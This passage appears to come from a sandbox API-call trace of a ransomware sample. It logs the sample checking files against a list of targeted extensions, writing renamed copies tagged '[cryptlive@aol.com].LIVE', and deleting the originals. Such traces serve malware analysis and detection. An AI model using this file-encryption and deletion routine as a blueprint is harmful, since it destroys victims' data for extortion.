Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0158.789] lstrlenW (lpString=".doc") returned 4 [0158.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.789] lstrlenW (lpString=".docx") returned 5 [0158.789] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0158.789] lstrlenW (lpString=".pdf") returned 4 [0158.789] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.789] lstrlenW (lpString=".xls") returned 4 [0158.789] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.789] lstrlenW (lpString=".xlsx") returned 5 [0158.789] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0158.790] lstrlenW (lpString=".ppt") returned 4 [0158.790] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0158.790] lstrlenW (lpString=".zip") returned 4 [0158.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.790] lstrlenW (lpString=".rar") returned 4 [0158.790] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.790] lstrlenW (lpString=".bz2") returned 4 [0158.790] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.790] lstrlenW (lpString=".7z") returned 3 [0158.790] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0158.790] lstrlenW (lpString=".dbf") returned 4 [0158.790] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0158.790] lstrlenW (lpString=".1cd") returned 4 [0158.790] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned 63 [0158.790] lstrlenW (lpString=".jpg") returned 4 [0158.790] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.790] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.790] lstrlenW (lpString="J0152570.WMF") returned 12 [0158.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.861] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3368) returned 1 [0158.861] CloseHandle (hObject=0x1e0) returned 1 [0158.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf")) returned 0x20 [0158.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.008] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.008] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0159.009] GetLastError () returned 0x0 [0159.009] ReadFile (in: hFile=0x380, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xd28, lpOverlapped=0x0) returned 1 [0159.062] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xd30, lpOverlapped=0x0) returned 1 [0159.063] ReadFile (in: hFile=0x380, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.063] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.064] SetEndOfFile (hFile=0x3b4) returned 1 [0159.064] CloseHandle (hObject=0x3b4) returned 1 [0159.064] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.064] SetEndOfFile (hFile=0x380) returned 1 [0159.066] CloseHandle (hObject=0x380) returned 1 [0159.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf")) returned 1 [0159.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0159.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0159.067] lstrlenW (lpString=".doc") returned 4 [0159.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.067] lstrlenW (lpString=".docx") returned 5 [0159.067] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0159.067] lstrlenW (lpString=".pdf") returned 4 [0159.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.067] lstrlenW (lpString=".xls") returned 4 [0159.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.067] lstrlenW (lpString=".xlsx") returned 5 [0159.068] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0159.068] lstrlenW (lpString=".ppt") returned 4 [0159.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0159.068] lstrlenW (lpString=".zip") returned 4 [0159.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.068] lstrlenW (lpString=".rar") returned 4 [0159.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.070] lstrlenW (lpString=".bz2") returned 4 [0159.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.070] lstrlenW (lpString=".7z") returned 3 [0159.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0159.070] lstrlenW (lpString=".dbf") returned 4 [0159.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0159.070] lstrlenW (lpString=".1cd") returned 4 [0159.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0159.070] lstrlenW (lpString=".jpg") returned 4 [0159.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0159.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0159.070] lstrlenW (lpString=".doc") returned 4 [0159.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.070] lstrlenW (lpString=".docx") returned 5 [0159.070] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0159.070] lstrlenW (lpString=".pdf") returned 4 [0159.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.071] lstrlenW (lpString=".xls") returned 4 [0159.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.071] lstrlenW (lpString=".xlsx") returned 5 [0159.071] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0159.071] lstrlenW (lpString=".ppt") returned 4 [0159.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0159.071] lstrlenW (lpString=".zip") returned 4 [0159.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.071] lstrlenW (lpString=".rar") returned 4 [0159.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.071] lstrlenW (lpString=".bz2") returned 4 [0159.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.071] lstrlenW (lpString=".7z") returned 3 [0159.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0159.071] lstrlenW (lpString=".dbf") returned 4 [0159.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0159.071] lstrlenW (lpString=".1cd") returned 4 [0159.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF") returned 63 [0159.071] lstrlenW (lpString=".jpg") returned 4 [0159.071] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.071] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.071] lstrlenW (lpString="J0152608.WMF") returned 12 [0159.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0159.081] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=12436) returned 1 [0159.081] CloseHandle (hObject=0x314) returned 1 [0159.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf")) returned 0x20 [0159.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0159.097] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.097] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0159.100] GetLastError () returned 0x0 [0159.100] ReadFile (in: hFile=0x1b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x3094, lpOverlapped=0x0) returned 1 [0159.102] WriteFile (in: hFile=0x1fc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x30a0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x30a0, lpOverlapped=0x0) returned 1 [0159.103] ReadFile (in: hFile=0x1b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.103] WriteFile (in: hFile=0x1fc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.103] SetEndOfFile (hFile=0x1fc) returned 1 [0159.103] CloseHandle (hObject=0x1fc) returned 1 [0159.103] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.104] SetEndOfFile (hFile=0x1b4) returned 1 [0159.106] CloseHandle (hObject=0x1b4) returned 1 [0159.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf")) returned 1 [0159.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0159.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0159.107] lstrlenW (lpString=".doc") returned 4 [0159.107] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.107] lstrlenW (lpString=".docx") returned 5 [0159.107] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0159.107] lstrlenW (lpString=".pdf") returned 4 [0159.107] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.107] lstrlenW (lpString=".xls") returned 4 [0159.107] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.107] lstrlenW (lpString=".xlsx") returned 5 [0159.107] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0159.107] lstrlenW (lpString=".ppt") returned 4 [0159.107] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0159.107] lstrlenW (lpString=".zip") returned 4 [0159.107] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.108] lstrlenW (lpString=".rar") returned 4 [0159.108] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.108] lstrlenW (lpString=".bz2") returned 4 [0159.108] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.108] lstrlenW (lpString=".7z") returned 3 [0159.108] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0159.108] lstrlenW (lpString=".dbf") returned 4 [0159.108] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0159.108] lstrlenW (lpString=".1cd") returned 4 [0159.108] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0159.108] lstrlenW (lpString=".jpg") returned 4 [0159.108] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0159.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0159.108] lstrlenW (lpString=".doc") returned 4 [0159.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.108] lstrlenW (lpString=".docx") returned 5 [0159.108] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0159.108] lstrlenW (lpString=".pdf") returned 4 [0159.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.108] lstrlenW (lpString=".xls") returned 4 [0159.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.108] lstrlenW (lpString=".xlsx") returned 5 [0159.108] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0159.108] lstrlenW (lpString=".ppt") returned 4 [0159.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0159.108] lstrlenW (lpString=".zip") returned 4 [0159.108] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.108] lstrlenW (lpString=".rar") returned 4 [0159.108] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.109] lstrlenW (lpString=".bz2") returned 4 [0159.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.109] lstrlenW (lpString=".7z") returned 3 [0159.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0159.109] lstrlenW (lpString=".dbf") returned 4 [0159.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0159.109] lstrlenW (lpString=".1cd") returned 4 [0159.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned 63 [0159.109] lstrlenW (lpString=".jpg") returned 4 [0159.109] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.109] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.109] lstrlenW (lpString="J0152610.WMF") returned 12 [0159.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0159.110] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=5960) returned 1 [0159.110] CloseHandle (hObject=0x1b4) returned 1 [0159.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf")) returned 0x20 [0159.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0159.110] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.110] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0159.111] GetLastError () returned 0x0 [0159.111] ReadFile (in: hFile=0x1b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1748, lpOverlapped=0x0) returned 1 [0159.113] WriteFile (in: hFile=0x1fc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1750, lpOverlapped=0x0) returned 1 [0159.114] ReadFile (in: hFile=0x1b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.114] WriteFile (in: hFile=0x1fc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.114] SetEndOfFile (hFile=0x1fc) returned 1 [0159.114] CloseHandle (hObject=0x1fc) returned 1 [0159.114] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.114] SetEndOfFile (hFile=0x1b4) returned 1 [0159.117] CloseHandle (hObject=0x1b4) returned 1 [0159.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf")) returned 1 [0159.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0159.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0159.118] lstrlenW (lpString=".doc") returned 4 [0159.118] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.118] lstrlenW (lpString=".docx") returned 5 [0159.118] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0159.118] lstrlenW (lpString=".pdf") returned 4 [0159.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.118] lstrlenW (lpString=".xls") returned 4 [0159.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.118] lstrlenW (lpString=".xlsx") returned 5 [0159.118] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0159.118] lstrlenW (lpString=".ppt") returned 4 [0159.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0159.118] lstrlenW (lpString=".zip") returned 4 [0159.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.118] lstrlenW (lpString=".rar") returned 4 [0159.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.118] lstrlenW (lpString=".bz2") returned 4 [0159.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.118] lstrlenW (lpString=".7z") returned 3 [0159.118] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0159.118] lstrlenW (lpString=".dbf") returned 4 [0159.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0159.119] lstrlenW (lpString=".1cd") returned 4 [0159.119] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0159.119] lstrlenW (lpString=".jpg") returned 4 [0159.119] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0159.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0159.119] lstrlenW (lpString=".doc") returned 4 [0159.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.119] lstrlenW (lpString=".docx") returned 5 [0159.119] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0159.119] lstrlenW (lpString=".pdf") returned 4 [0159.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.119] lstrlenW (lpString=".xls") returned 4 [0159.119] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.119] lstrlenW (lpString=".xlsx") returned 5 [0159.119] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0159.119] lstrlenW (lpString=".ppt") returned 4 [0159.119] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.119] lstrlenW (lpString="C:\\Program 